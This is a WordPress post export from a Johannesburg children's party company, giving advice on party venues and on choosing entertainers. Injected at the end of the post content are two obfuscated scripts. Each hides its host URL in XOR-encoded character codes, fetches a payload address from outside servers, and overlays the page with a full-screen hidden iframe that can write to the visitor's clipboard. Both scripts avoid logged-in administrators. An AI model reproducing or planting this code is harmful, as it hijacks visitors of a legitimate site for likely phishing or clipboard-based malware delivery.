{"id":542,"date":"2018-05-04T11:24:09","date_gmt":"2018-05-04T11:24:09","guid":{"rendered":"http:\/\/aaparty.co.za\/?p=542"},"modified":"2026-05-22T18:38:08","modified_gmt":"2026-05-22T18:38:08","slug":"kids-parties-johannesburg","status":"publish","type":"post","link":"https:\/\/aaparty.co.za\/index.php\/2018\/05\/04\/kids-parties-johannesburg\/","title":{"rendered":"Kids Parties Johannesburg"},"content":{"rendered":"<h1>Kids Parties Johannesburg<\/h1>\n<p>Kids Parties Johannesburg. Since 2002 Andy&#8217;s Action Parties has been offering entertainment for kids parties in Johannesburg. See our range of <a href=\"http:\/\/aaparty.co.za\/index.php\/themed-action-parties\/\">themed action parties here<\/a>.<\/p>\n<p>We also have the widest range of <a href=\"http:\/\/aaparty.co.za\/index.php\/garden-games-for-hire\/\">Garden Games available for hire.<\/a>&nbsp;<\/p>\n<p>Through a partnership with a leading Jumping Castle company. We are able to offer Jumping Castles, Inflatable Slides and Mechanical Party Hire items at the best rates.<\/p>\n<p>From 16 years operating in the industry, we have a database of great kids birthday party venues in all locations across Johannesburg and Gauteng. <a href=\"http:\/\/aaparty.co.za\/index.php\/contact\/\">Contact Us<\/a>&nbsp;to find out more.<\/p>\n<h2>&nbsp;Options<\/h2>\n<p>When it comes to kids parties in Johannesburg, you are spoilt for choice. There is a vast array of entertainment available for <a href=\"http:\/\/activi\">activities for birthday parties<\/a> in this beautiful city of ours. These options can be broken down into many categories. I suppose the two main choices are, do you have your kid&#8217;s party at home or do you have it at a dedicated party venue.<\/p>\n<figure id=\"attachment_546\" aria-describedby=\"caption-attachment-546\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-546\" src=\"http:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/Kids-Parties-Johannesburg-Venue-300x200.jpg\" alt=\"Kids Parties Johannesburg Venue\" width=\"300\" height=\"200\" srcset=\"https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/Kids-Parties-Johannesburg-Venue-300x200.jpg 300w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/Kids-Parties-Johannesburg-Venue-350x233.jpg 350w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/Kids-Parties-Johannesburg-Venue-768x512.jpg 768w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/Kids-Parties-Johannesburg-Venue-1024x683.jpg 1024w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/Kids-Parties-Johannesburg-Venue-600x400.jpg 600w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/Kids-Parties-Johannesburg-Venue-240x160.jpg 240w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/Kids-Parties-Johannesburg-Venue.jpg 1152w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><figcaption id=\"caption-attachment-546\" class=\"wp-caption-text\">Having Kids Parties at venues in Johannesburg<\/figcaption><\/figure>\n<h3>Venue<\/h3>\n<p>Having a kids party at a venue other than your home has its benefits and its drawbacks.<\/p>\n<h4>Pro&#8217;s<\/h4>\n<ul>\n<li>The number one reason for people choosing a dedicated kids party venue would be not having to clean up the mess after the party.<\/li>\n<li>Party venues generally have a stipulated start and end time, while this could be considered a negative&#8230; When you have to leave the party, annoying Aunt Hilda or your mother-in-law &#8220;who never knows when to leave&#8221; also has to leave the party.<\/li>\n<li>Depending on the level of effort you put into your children&#8217;s parties, having it at a venue often means, get in, setup, party, leave. This can help in making the party less demanding on your time as a busy mother&#8230;<\/li>\n<li><a href=\"http:\/\/aaparty.co.za\/index.php\/themed-action-parties\/\">Entertainment<\/a>, venues that are dedicated to children&#8217;s parties usually have jungle gyms, sand pits, bike tracks and perhaps even jumping castles as a feature of their venue, this can kill two birds with one stone by getting entertainment options as part of your venue hire fee.&nbsp;&nbsp;<\/li>\n<\/ul>\n<h4>Con&#8217;s<\/h4>\n<ul>\n<li>Yours is usually not the only party at a particular venue on a particular day, so time and privacy could be an issue.<\/li>\n<li>You generally have to pay for a dedicated kids party venue.<\/li>\n<li>Less freedom to do as you please in terms of decor, noise, length of the party and possibly number of guests as you could at home.<\/li>\n<li>Bring in all your decorations, catering, entertainment if this is not provided by the party venue. Also, you will need to take it all home with you when you leave. Along with presents etc. This can often be a bit of a drag after a long day of preparation and entertaining your guests.&nbsp;&nbsp;<\/li>\n<\/ul>\n<figure id=\"attachment_547\" aria-describedby=\"caption-attachment-547\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-547\" src=\"http:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/kids-parties-johannesburg-at-home-300x199.jpg\" alt=\"Kids parties Johannesburg at home\" width=\"300\" height=\"199\" srcset=\"https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/kids-parties-johannesburg-at-home-300x199.jpg 300w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/kids-parties-johannesburg-at-home-350x232.jpg 350w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/kids-parties-johannesburg-at-home-768x509.jpg 768w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/kids-parties-johannesburg-at-home.jpg 1024w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/kids-parties-johannesburg-at-home-600x397.jpg 600w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/kids-parties-johannesburg-at-home-242x160.jpg 242w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><figcaption id=\"caption-attachment-547\" class=\"wp-caption-text\">Having a Kids Party at home in Johannesburg<\/figcaption><\/figure>\n<h3>Party at Home<\/h3>\n<p>If you are having the kids party at home. You will either need to do it yourself or hire entertainment, decor and&nbsp;or catering from service providers. Luckily for Kids Parties Johannesburg, our city has many options for you to choose from. Depending on your requirements and budget, you are able to throw incredible parties at home in Johannesburg. We have great weather pretty much year round.&nbsp;<\/p>\n<h3>How to select a Service Provider for Entertainment in Johannesburg<\/h3>\n<p>You have no doubt been to many kids parties Johannesburg. You&#8217;ve probably seen the good, the bad and the ugly in terms of great service. Unfortunately, you have probably seen or experienced exceptionally poor service. So, how do you go about ensuring that the clown you find on page 15 of Google doesn&#8217;t end up as a joke? Below are a couple of pointers that we would recommend&#8230;<\/p>\n<ul>\n<li>Use recommendations from friends and family. They have been happy with the service that they received and they have your best interests at heart.&nbsp;<\/li>\n<li>Use service providers that you have seen in action, this way you know what you are getting.<\/li>\n<li>If you are looking for entertainment that you have not seen before, look for some reviews of their service, <a href=\"http:\/\/www.facebook.com\">Facebook<\/a>, <a href=\"https:\/\/www.hellopeter.com\/\">Hello Peter<\/a>, <a href=\"https:\/\/www.google.co.za\/search?q=andy%27s+action+parties&amp;oq=andy%27s+action+parties&amp;aqs=chrome..69i57j69i61j69i60l2j69i65.5615j0j4&amp;sourceid=chrome&amp;ie=UTF-8#lrd=0x1e9574267b0ff951:0x795b609b30cd9d3e,3,,,\">Google reviews<\/a> are just a few places that you can get a quick idea of an entertainment offerings level of service.<\/li>\n<li>Ask for references. This can help but is usually skewed. The company in question isn&#8217;t exactly going to give you the numbers of their 10 worst clients that were unhappy with their services&#8230;<\/li>\n<li>Trust your gut. If you deal with a company representative over the phone and they are polite, accommodating and efficient, they respond quickly with a quotation. This should give you a good indication of the kind of service you will receive on the day of the party.<\/li>\n<\/ul>\n<p>Good Luck, and have a great party!<\/p>\n<p>If you would like to <a href=\"http:\/\/aaparty.co.za\/index.php\/contact\/\">get in touch<\/a>&nbsp;with us, we would love to hear from you and it would be our pleasure to help you give your child, their best birthday party ever!&nbsp;<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Kids Parties Johannesburg Kids Parties Johannesburg. Since 2002 Andy&#8217;s Action Parties has been offering entertainment for kids parties in Johannesburg. See our range of themed action parties here. We also have the widest range of Garden Games available for hire.&nbsp; Through a partnership with a leading Jumping Castle company. We are able to offer Jumping &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/aaparty.co.za\/index.php\/2018\/05\/04\/kids-parties-johannesburg\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Kids Parties Johannesburg&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":491,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"ngg_post_thumbnail":0,"footnotes":""},"categories":[41,48,40],"tags":[],"class_list":["post-542","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-fun-parties-for-kids","category-kids-parties-johannesburg","category-parties-for-kids"],"_links":{"self":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts\/542","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/comments?post=542"}],"version-history":[{"count":12,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts\/542\/revisions"}],"predecessor-version":[{"id":16292,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts\/542\/revisions\/16292"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/media\/491"}],"wp:attachment":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/media?parent=542"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/categories?post=542"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/tags?post=542"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}